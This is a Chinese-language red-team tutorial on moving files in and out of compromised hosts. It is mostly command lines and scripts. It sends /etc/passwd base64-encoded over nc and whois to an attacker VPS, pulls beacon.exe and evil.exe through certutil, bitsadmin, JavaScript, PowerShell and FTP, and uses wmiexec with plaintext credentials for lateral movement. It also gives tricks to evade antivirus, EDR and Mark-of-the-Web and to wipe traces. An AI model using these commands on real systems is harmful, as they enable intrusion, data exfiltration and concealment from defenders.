1. 基于 IPC 的文件操作

(1)建立 IPC

建立 IPC 的方式比如最基本的基于明文密码
net use \\10.10.10.10 /u:redteam\administrator admin!@#45

抓不到明文密码的情况下利用 PTH 攻击

(2)通过 IPC 通道传输文件(落地优先考虑共享目录)

上传:copy evil.exe \\10.10.10.10\c$\windows\sysvol
下载:cppy \\10.10.10.10\c$\users\administrator\desktop\secret.txt

2. Windows 自带的命令

(1)基于横向移动文件传输

这边假如通过 wmic 进行了横移
wmiexec.exe redteam\administrator:admin!@#45@10.10.10.10

我们可以看到 put get 两个命令
上传:put C:\Users\emotionswalker\desktop\evil.exe
下载:get C:\1.txt

(2)Windows 自带压缩命令

我认为 makecab 也是 OPSEC 很关键的一环,在钓鱼时逃避 MOTW 标记也常常用到
makecab 可以在 Windows 原生环境下对文件进行一个压缩,既能便于传输,又能在一定条件下起到规避 EDR 的作用,得到的 cab 文件也是可以在 Windows 原生环境下打开的
makecab evil.exe good.cab

解压很简单:expand good.cab evil.exe

3. Linux 下内网 whois 文件传输

(1)我们知道当目标机器有 nc 命令,可以轻而易举地进行文件传输操作

红队 vps 执行监听命令:nc -lvp 4444 | base64 -d
受害机运行发送命令:cat /etc/passwd | base64 | nc 1.1.1.1 4444

(2)有一种更隐蔽的传输,配合 rce + whois 命令做到最小化被发现

传输机:whois -h 1.1.1.1 -p 4444 `cat /etc/passwd | base64`
红队 vps:nc -lvp | sed "s/ //g" | base64 -d

连接后需要等待连接超时,小文件数据即可传输过来

(3)利用 whois 命令是否能够反弹 shell 也是一个有意思的实验

4. 利用 Certutil.exe 进行文件操作

(1)远程下载手法

使用 certutil 进行远程下载的命令:
certutil.exe -urlcache -split -f http://ip/beacon.exe
但是由于他下载文件的过程中会创建一个进程,这一特征造成了诸多杀软的拦截
常用的绕过方法也就是堆叠执行
certutil & certutil -urlcache -split -f http://ip/evil.exe
certutil | certutil -urlcache -split -f http://ip/evil.exe nice.exe (可以进行文件的重命名

这个命令的弊端是会产生缓存文件,导致留下入侵痕迹,所以每次下载后必须执行:
certutil -urlcache -split -f http://ip/8.exe delete
这个操作也可以在下载文件的时候直接在后面加 delete,省的再手动清缓存

(2)base64 加解密文件传输

用于以下几种情况:杀软限制传输的二进制文件大小、不出网的 Win7 x86 机器、某些软件规则被查杀无法上传……
首先在我们自己的机器上将目标文件编码为 txt

可以看到,输出的 txt 文件更大了?

但是 txt 有两个好处,一是我们能够拆分成多个 txt 落地后合并,二是支持终端下直接文本写入(配合 XShell 的大缓存区传输更会有意想不到的效果哦)

这里我将 txt 截取为 3 个文件,进行传输——这样每个文件均小于 10M,假如 smbrelay.exe 因为大于 10M 受到杀软的拦截,那么我们以这样的形式是不是可以传输过去?

接下来只需要将 3 个 txt 合并为 1 个
copy c:\*txt c:\smbrelay.txt
走一波解码
certutil -decode smbrelay.txt smbrelay.exe

5. BITSAdmin 远程下载

这也是属于微软的命令行工具,它可以在网络不稳定的情况下下载文件,对于非常复杂苛刻的内网环境值得一试!
bitsadmin /rawreturn /transfer down "http://ip/flag.txt" C:\Windows\Temp\8.txt

6. JS 远程下载

Windows 全版本默认支持 js,并且通过 cscript 来调用达到远程下载的目的
cscript /nologo downfile.js http://ip/flag.txt
downfile.js 内容如下:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);

7. 基于 Powershell 的远程下载

(1)Win7 环境 Powershell 2.0

powershell -File down.ps1
down.ps1 内容如下:

$Urls = @()$Urls += "http://ip/flag.txt"
$OutPath = "E:\PDF\"
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file)
}

(2)Win2012 Powershell 3.0

powershell C:\down.ps1 (一定要使用绝对路径)
down.ps1 内容如下

$url = "http://ip/flag.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"

(3)经典 Powershell 一句话

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://ip/flag.txt','C:\flag.txt') 

8. ftp 远程下载

(1)为何使用 ftp

首先 ftp 客户端都是默认存在的
在目标主机无法直接访问外网、有严格的防火墙和代理规则(尤其针对 HTTP/HTTPS 流量)、目标机器上有限的可用工具(系统自带的文件传输工具无法使用)、或者需要传输大文件……

(2)ftp 的传输方式——Binary & Ascii

Ascii:传输 html 和文本编写的文件
Binary: 传文本/非文本(执行文件、压缩文件、图片)
很适合大文件传输,但用 Ascii 传输非文本文件的话会产生大量乱码

(3)利用方式

构造好临时 vps 或肉鸡 vps,配置恶意的 ftp 服务端
注意要在 /etc/vsftpd/vsftpd.conf 添加三行代码设置好 PASV 连接
pasv_enable = YES
pasv_min_port = 6000
pasv_max_port = 7000

写一个脚本 txt:
echo open ip 21 > ftp.txt (红队 vps ip)
echo root >> ftp.txt (ftp 登录账号)
echo 123456 >> ftp.txt (ftp 登录密码)
echo binary >> ftp.txt (定义传输方式)
echo get /home/hahaha/evil.exe >> ftp.txt(下载文件)
echo bye >> ftp.txt (退出 ftp 服务)

运行 ftp:
ftp -s:ftp.txt